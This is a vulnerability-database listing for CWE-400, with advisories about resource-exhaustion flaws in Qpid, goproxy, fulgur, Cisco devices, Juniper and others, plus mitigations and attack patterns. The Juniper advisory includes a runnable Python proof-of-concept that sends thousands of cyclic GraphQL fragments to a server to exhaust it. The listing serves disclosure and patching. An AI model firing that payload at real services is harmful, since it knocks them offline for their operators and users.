Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

6200 vulnerabilities reference this CWE, most recent first.

GHSA-4R7G-7CPJ-5JR7

Vulnerability from github – Published: 2018-10-19 16:41 – Updated: 2023-08-28 10:50

Summary

Apache Qpid Broker-J vulnerable to Denial of Service (DoS) via uncontrolled resource consumption

Details

In Apache Qpid Broker-J versions 6.1.0 through 6.1.4 (inclusive) the broker does not properly enforce a maximum frame size in AMQP 1.0 frames. A remote unauthenticated attacker could exploit this to cause the broker to exhaust all available memory and eventually terminate. Older AMQP protocols are not affected.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.qpid:qpid-broker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.1.0"
            },
            {
              "fixed": "6.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-15701"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T20:58:59Z",
    "nvd_published_at": "2017-12-01T15:29:00Z",
    "severity": "HIGH"
  },
  "details": "In Apache Qpid Broker-J versions 6.1.0 through 6.1.4 (inclusive) the broker does not properly enforce a maximum frame size in AMQP 1.0 frames. A remote unauthenticated attacker could exploit this to cause the broker to exhaust all available memory and eventually terminate.  Older AMQP protocols are not affected.",
  "id": "GHSA-4r7g-7cpj-5jr7",
  "modified": "2023-08-28T10:50:19Z",
  "published": "2018-10-19T16:41:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-15701"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-4r7g-7cpj-5jr7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/qpid-broker-j"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/QPID-7947"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/4054e1c90993f337eeea24a312841c0661653e673c0ff8e2cd9520fe@%3Cdev.qpid.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://qpid.apache.org/cves/CVE-2017-15701.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/102041"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Qpid Broker-J vulnerable to Denial of Service (DoS) via uncontrolled resource consumption"
}

GHSA-4R8X-2P26-976P

Vulnerability from github – Published: 2023-07-18 21:30 – Updated: 2023-08-01 15:37

Summary

goproxy Denial of Service vulnerability

Details

goproxy prior to pseudoversion 0.0.0-20230731152917-f99041a5c027 was discovered to contain an issue which can lead to a Denial of service (DoS) via unspecified vectors.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/elazarl/goproxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20230731152917-f99041a5c027"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-37788"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-19T22:11:42Z",
    "nvd_published_at": "2023-07-18T19:15:10Z",
    "severity": "HIGH"
  },
  "details": "goproxy prior to pseudoversion 0.0.0-20230731152917-f99041a5c027 was discovered to contain an issue which can lead to a Denial of service (DoS) via unspecified vectors.",
  "id": "GHSA-4r8x-2p26-976p",
  "modified": "2023-08-01T15:37:19Z",
  "published": "2023-07-18T21:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37788"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elazarl/goproxy/issues/502"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elazarl/goproxy/pull/507"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/elazarl/goproxy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "goproxy Denial of Service vulnerability"
}

GHSA-4RF6-QX84-Q9FV

Vulnerability from github – Published: 2026-09-17 18:49 – Updated: 2026-09-17 18:49

Summary

Fulgur: Non-painting replaced elements amplify to thousands of blank PDF pages (denial of service)

Details

fulgur converts untrusted HTML/CSS into PDF, commonly on a server that processes input supplied by many tenants. In versions prior to 0.26.0, a childless box that resolves to a pathologically tall height was amplified into thousands of blank PDF pages, even when it produces no visible output.

The childless-collapse defense that would normally collapse such a box was gated by a tag-only "replaced content" check, so any non-painting replaced element bypassed it, including:

an unresolved src (the common offline-first case),
a visibility:hidden image,
an undecodable image format, and
an empty <svg>.

A trailing-sibling variant of the same gap was also open. A few bytes of HTML therefore amplified into roughly MAX_PAGES (10,000) blank pages; the renderer allocates and runs a per-page loop over them, producing CPU and memory exhaustion. An attacker able to submit HTML to a fulgur-based conversion service can trigger this with a trivially small payload, denying service to the host and any co-tenants.

Patches

Fixed in 0.26.0 (PR #575). The tag-only gate was removed so that any pathologically tall childless box collapses regardless of whether it is a replaced element, closing the missing-src, visibility:hidden, undecodable-format, and empty-<svg> vectors at once, along with the trailing-sibling variant.

Workarounds

Upgrade to 0.26.0 or later. If upgrading is not immediately possible, validate or constrain untrusted CSS (in particular very large height / vh on elements) before passing HTML to fulgur.

Versions prior to 0.19.0 additionally lacked any page-count cap, allowing an unbounded (rather than 10,000-page) variant of this amplification and a non-terminating loop on non-finite heights. That earlier variant is tracked separately as GHSA-j5cx-ph8g-95v3.

Attack Vector rationale

fulgur performs no network I/O of its own; it renders HTML/CSS handed to it by the embedding application. This advisory scores the crate independent of any specific adopting program, so per the CVSS v3.1 User Guide §3.7 (scoring library vulnerabilities related to incoming data) the Attack Vector is assessed as Network for the reasonable worst-case deployment — a network-facing service that renders untrusted, attacker-supplied HTML without user interaction. A concrete system that receives the HTML in one component and passes it to fulgur in a separate component may assess a lower environmental Attack Vector (Local, per §3.10).

References

Fix: https://github.com/fulgur-rs/fulgur/pull/575

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "fulgur"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-68537"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T18:49:15Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "`fulgur` converts untrusted HTML/CSS into PDF, commonly on a server that\nprocesses input supplied by many tenants. In versions prior to 0.26.0, a\nchildless box that resolves to a pathologically tall height was amplified into\nthousands of blank PDF pages, even when it produces no visible output.\n\nThe childless-collapse defense that would normally collapse such a box was gated\nby a tag-only \"replaced content\" check, so any **non-painting replaced element**\nbypassed it, including:\n\n- an unresolved `src` (the common offline-first case),\n- a `visibility:hidden` image,\n- an undecodable image format, and\n- an empty `\u003csvg\u003e`.\n\nA trailing-sibling variant of the same gap was also open. A few bytes of HTML\ntherefore amplified into roughly `MAX_PAGES` (10,000) blank pages; the renderer\nallocates and runs a per-page loop over them, producing CPU and memory\nexhaustion. An attacker able to submit HTML to a fulgur-based conversion service\ncan trigger this with a trivially small payload, denying service to the host and\nany co-tenants.\n\n## Patches\n\nFixed in **0.26.0** (PR #575). The tag-only gate was removed so that any\npathologically tall childless box collapses regardless of whether it is a\nreplaced element, closing the missing-`src`, `visibility:hidden`,\nundecodable-format, and empty-`\u003csvg\u003e` vectors at once, along with the\ntrailing-sibling variant.\n\n## Workarounds\n\nUpgrade to 0.26.0 or later. If upgrading is not immediately possible, validate\nor constrain untrusted CSS (in particular very large `height` / `vh` on\nelements) before passing HTML to fulgur.\n\n## Related\n\nVersions prior to 0.19.0 additionally lacked any page-count cap, allowing an\nunbounded (rather than 10,000-page) variant of this amplification and a\nnon-terminating loop on non-finite heights. That earlier variant is tracked\nseparately as GHSA-j5cx-ph8g-95v3.\n\n## Attack Vector rationale\n\n`fulgur` performs no network I/O of its own; it renders HTML/CSS handed to it by\nthe embedding application. This advisory scores the crate independent of any\nspecific adopting program, so per the CVSS v3.1 User Guide \u00a73.7 (scoring library\nvulnerabilities related to incoming data) the Attack Vector is assessed as\n**Network** for the reasonable worst-case deployment \u2014 a network-facing service\nthat renders untrusted, attacker-supplied HTML without user interaction. A\nconcrete system that receives the HTML in one component and passes it to fulgur\nin a separate component may assess a lower environmental Attack Vector (Local,\nper \u00a73.10).\n\n## References\n\n- Fix: https://github.com/fulgur-rs/fulgur/pull/575",
  "id": "GHSA-4rf6-qx84-q9fv",
  "modified": "2026-09-17T18:49:15Z",
  "published": "2026-09-17T18:49:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fulgur-rs/fulgur/security/advisories/GHSA-4rf6-qx84-q9fv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fulgur-rs/fulgur/pull/575"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fulgur-rs/fulgur"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0201.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Fulgur: Non-painting replaced elements amplify to thousands of blank PDF pages (denial of service)"
}

GHSA-4RGF-WW29-JXX4

Vulnerability from github – Published: 2026-08-16 15:30 – Updated: 2026-08-16 15:30

Details

stoatchat before 0.15.0 fails to validate SVG viewBox dimensions in the proxy endpoint, allowing attackers to cause denial of service by memory exhaustion. Attackers can host malicious SVGs with extremely large width and height values and trigger concurrent requests to exhaust available memory across proxy replicas.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-73057"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-16T14:16:55Z",
    "severity": "HIGH"
  },
  "details": "stoatchat before 0.15.0 fails to validate SVG viewBox dimensions in the proxy endpoint, allowing attackers to cause denial of service by memory exhaustion. Attackers can host malicious SVGs with extremely large width and height values and trigger concurrent requests to exhaust available memory across proxy replicas.",
  "id": "GHSA-4rgf-ww29-jxx4",
  "modified": "2026-08-16T15:30:24Z",
  "published": "2026-08-16T15:30:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/stoatchat/stoatchat/security/advisories/GHSA-x87r-h3mq-7mgr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73057"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/stoatchat-before-uncapped-svg-rendering-denial-of-service"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-4RGJ-8MQ3-HGGJ

Vulnerability from github – Published: 2020-09-03 20:32 – Updated: 2020-08-31 18:49

Summary

Denial of Service in @hapi/subtext

Details

Versions of @hapi/subtext prior to 6.1.2 are vulnerable to Denial of Service (DoS). The package fails to enforce the maxBytes configuration for payloads with chunked encoding that are written to the file system. This allows attackers to send requests with arbitrary payload sizes, which may exhaust system resources leading to Denial of Service.

Recommendation

Upgrade to version 6.1.2 or later.

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@hapi/subtext"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:49:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Versions of `@hapi/subtext` prior to 6.1.2 are vulnerable to Denial of Service (DoS). The package fails to enforce the `maxBytes` configuration for payloads with chunked encoding that are written to the file system. This allows attackers to send requests with arbitrary payload sizes, which may exhaust system resources leading to Denial of Service.\n\n\n## Recommendation\n\nUpgrade to version 6.1.2 or later.",
  "id": "GHSA-4rgj-8mq3-hggj",
  "modified": "2020-08-31T18:49:38Z",
  "published": "2020-09-03T20:32:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hapijs/subtext/issues/72"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1165"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Denial of Service in @hapi/subtext"
}

GHSA-4RJ6-RCX3-JVM9

Vulnerability from github – Published: 2022-05-24 17:17 – Updated: 2023-08-16 18:30

Details

A vulnerability in the ARP packet processing of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software for Cisco Firepower 2100 Series Security Appliances could allow an unauthenticated, adjacent attacker to cause an affected device to reload, resulting in a denial of service (DoS) condition on an affected device. The vulnerability is due to incorrect processing of ARP packets received by the management interface of an affected device. An attacker could exploit this vulnerability by sending a series of unicast ARP packets in a short timeframe that would reach the management interface of an affected device. A successful exploit could allow the attacker to consume resources on an affected device, which would prevent the device from sending internal system keepalives and eventually cause the device to reload, resulting in a denial of service (DoS) condition.

Severity

7.4 (High)


                  
                    CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2020-3334"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-05-06T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the ARP packet processing of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software for Cisco Firepower 2100 Series Security Appliances could allow an unauthenticated, adjacent attacker to cause an affected device to reload, resulting in a denial of service (DoS) condition on an affected device. The vulnerability is due to incorrect processing of ARP packets received by the management interface of an affected device. An attacker could exploit this vulnerability by sending a series of unicast ARP packets in a short timeframe that would reach the management interface of an affected device. A successful exploit could allow the attacker to consume resources on an affected device, which would prevent the device from sending internal system keepalives and eventually cause the device to reload, resulting in a denial of service (DoS) condition.",
  "id": "GHSA-4rj6-rcx3-jvm9",
  "modified": "2023-08-16T18:30:19Z",
  "published": "2022-05-24T17:17:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3334"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fp2100-arp-dos-kLdCK8ks"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4RV8-3XQF-8GFM

Vulnerability from github – Published: 2026-01-21 18:30 – Updated: 2026-01-21 18:30

Details

A vulnerability in the SSH service of Cisco IEC6400 Wireless Backhaul Edge Compute Software could allow an unauthenticated, remote attacker to cause the SSH service to stop responding.

This vulnerability exists because the SSH service lacks effective flood protection. An attacker could exploit this vulnerability by initiating a denial of service (DoS) attack against the SSH port. A successful exploit could allow the attacker to cause the SSH service to be unresponsive during the period of the DoS attack. All other operations remain stable during the attack.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-20080"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-21T17:16:08Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the SSH service of Cisco IEC6400 Wireless Backhaul Edge Compute Software could allow an unauthenticated, remote attacker to cause the SSH service to stop responding.\n\nThis vulnerability exists because the SSH service lacks effective flood protection. An attacker could exploit this vulnerability by initiating a denial of service (DoS) attack against the SSH port. A successful exploit could allow the attacker to cause the SSH service to be unresponsive during the period of the DoS attack. All other operations remain stable during the attack.",
  "id": "GHSA-4rv8-3xqf-8gfm",
  "modified": "2026-01-21T18:30:30Z",
  "published": "2026-01-21T18:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20080"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iec6400-Pem5uQ7v"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4RX6-G5VG-5F3J

Vulnerability from github – Published: 2022-07-29 22:29 – Updated: 2022-07-29 22:29

Summary

Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow

Details

GraphQL behaviour

Nested fragment in GraphQL might be quite hard to handle depending on the implementation language. Some language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.

# Infinite loop example
query {
    ...a
}

fragment a on Query {
    ...b
}

fragment b on Query {
    ...a
}

POC TLDR

With max_size being the number of nested fragment generated. At max_size=7500, it should instantly raise:

However, with a lower size, you will overflow the memory after some iterations.

Reproduction steps (Juniper)

git clone https://github.com/graphql-rust/juniper.git
cd juniper

Save this POC as poc.py

import requests
import time
import json
from itertools import permutations

print('=== Fragments POC ===')

url = 'http://localhost:8080/graphql'

max_size = 7500
perms = [''.join(p) for p in permutations('abcefghijk')]
perms = perms[:max_size]

fragment_payloads = ''
for i, perm in enumerate(perms):
    next_perm = perms[i+1] if i < max_size-1 else perms[0]
    fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'

payload = {'query':'query{\n  ...' + perms[0] + '\n}' + fragment_payloads,'variables':{},'operationName':None}

headers = {
  'Content-Type': 'application/json',
}

try:
    response = requests.request('POST', url, headers=headers, json=payload)
    print(response.text)
except requests.exceptions.ConnectionError:
    print('Connection closed, POC worked.')

cargo run
[in separate shell] python3 poc.py

Credits

@Escape-Technologies

@c3b5aw @MdotTIM @karimhreda

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "juniper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.15.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-31173"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-29T22:29:22Z",
    "nvd_published_at": "2022-08-01T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "### GraphQL behaviour\n\nNested fragment in GraphQL might be quite hard to handle depending on the implementation language.\nSome language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.\n\n```graphql\n# Infinite loop example\nquery {\n    ...a\n}\n\nfragment a on Query {\n    ...b\n}\n\nfragment b on Query {\n    ...a\n}\n```\n\n### POC TLDR\nWith max_size being the number of nested fragment generated.\nAt max_size=7500, it should instantly raise:\n\n![](https://i.imgur.com/wXbUx8l.png)\n\nHowever, with a lower size, you will overflow the memory after some iterations.\n\n### Reproduction steps (Juniper)\n\n```\ngit clone https://github.com/graphql-rust/juniper.git\ncd juniper\n```\n\nSave this POC as poc.py\n\n```python\nimport requests\nimport time\nimport json\nfrom itertools import permutations\n\nprint(\u0027=== Fragments POC ===\u0027)\n\nurl = \u0027http://localhost:8080/graphql\u0027\n\nmax_size = 7500\nperms = [\u0027\u0027.join(p) for p in permutations(\u0027abcefghijk\u0027)]\nperms = perms[:max_size]\n\nfragment_payloads = \u0027\u0027\nfor i, perm in enumerate(perms):\n    next_perm = perms[i+1] if i \u003c max_size-1 else perms[0]\n    fragment_payloads += f\u0027fragment {perm} on Query\u0027 + \u0027{\u0027 f\u0027...{next_perm}\u0027 + \u0027}\u0027\n\npayload = {\u0027query\u0027:\u0027query{\\n  ...\u0027 + perms[0] + \u0027\\n}\u0027 + fragment_payloads,\u0027variables\u0027:{},\u0027operationName\u0027:None}\n\nheaders = {\n  \u0027Content-Type\u0027: \u0027application/json\u0027,\n}\n\ntry:\n    response = requests.request(\u0027POST\u0027, url, headers=headers, json=payload)\n    print(response.text)\nexcept requests.exceptions.ConnectionError:\n    print(\u0027Connection closed, POC worked.\u0027)\n```\n\n```\ncargo run\n[in separate shell] python3 poc.py\n```\n\n### Credits\n\n[@Escape-Technologies](https://escape.tech)\n\n@c3b5aw \n@MdotTIM \n@karimhreda \n",
  "id": "GHSA-4rx6-g5vg-5f3j",
  "modified": "2022-07-29T22:29:22Z",
  "published": "2022-07-29T22:29:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/graphql-rust/juniper/security/advisories/GHSA-4rx6-g5vg-5f3j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31173"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphql-rust/juniper/commit/2b609ee057be950e3454b69fadc431d120e407bb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphql-rust/juniper/commit/8d28cdba6eb10f53490ba41d1b5cb40506c2de22"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/graphql-rust/juniper"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphql-rust/juniper/blob/juniper-v0.15.10/juniper/CHANGELOG.md#01510-2022-07-28"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2022-0038.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow"
}

GHSA-4RXC-C47V-3RF5

Vulnerability from github – Published: 2022-05-13 01:36 – Updated: 2022-05-13 01:36

Details

A vulnerability in the logging configuration of Secure Sockets Layer (SSL) policies for Cisco FirePOWER System Software 5.3.0 through 6.2.2 could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition due to high consumption of system resources. The vulnerability is due to the logging of certain TCP packets by the affected software. An attacker could exploit this vulnerability by sending a flood of crafted TCP packets to an affected device. A successful exploit could allow the attacker to cause a DoS condition. The success of an exploit is dependent on how an administrator has configured logging for SSL policies for a device. This vulnerability affects Cisco FirePOWER System Software that is configured to log connections by using SSL policy default actions. Cisco Bug IDs: CSCvd07072.

Severity

7.5 (High)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2017-6632"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-05-22T01:29:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the logging configuration of Secure Sockets Layer (SSL) policies for Cisco FirePOWER System Software 5.3.0 through 6.2.2 could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition due to high consumption of system resources. The vulnerability is due to the logging of certain TCP packets by the affected software. An attacker could exploit this vulnerability by sending a flood of crafted TCP packets to an affected device. A successful exploit could allow the attacker to cause a DoS condition. The success of an exploit is dependent on how an administrator has configured logging for SSL policies for a device. This vulnerability affects Cisco FirePOWER System Software that is configured to log connections by using SSL policy default actions. Cisco Bug IDs: CSCvd07072.",
  "id": "GHSA-4rxc-c47v-3rf5",
  "modified": "2022-05-13T01:36:31Z",
  "published": "2022-05-13T01:36:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6632"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170517-fpwr"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/98523"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4V4G-VFV9-GVGJ

Vulnerability from github – Published: 2025-10-14 18:30 – Updated: 2025-10-14 18:30

Details

Uncontrolled resource consumption in Windows Remote Procedure Call allows an unauthorized attacker to deny service over a network.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-59502"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-14T17:16:14Z",
    "severity": "HIGH"
  },
  "details": "Uncontrolled resource consumption in Windows Remote Procedure Call allows an unauthorized attacker to deny service over a network.",
  "id": "GHSA-4v4g-vfv9-gvgj",
  "modified": "2025-10-14T18:30:36Z",
  "published": "2025-10-14T18:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59502"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59502"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation

Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation

Architecture and Design

Mitigation of resource exhaustion attacks requires that the target system either:
The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
recognizes the attack and denies that user further access for a given amount of time, or
uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.

Mitigation

Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation

Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list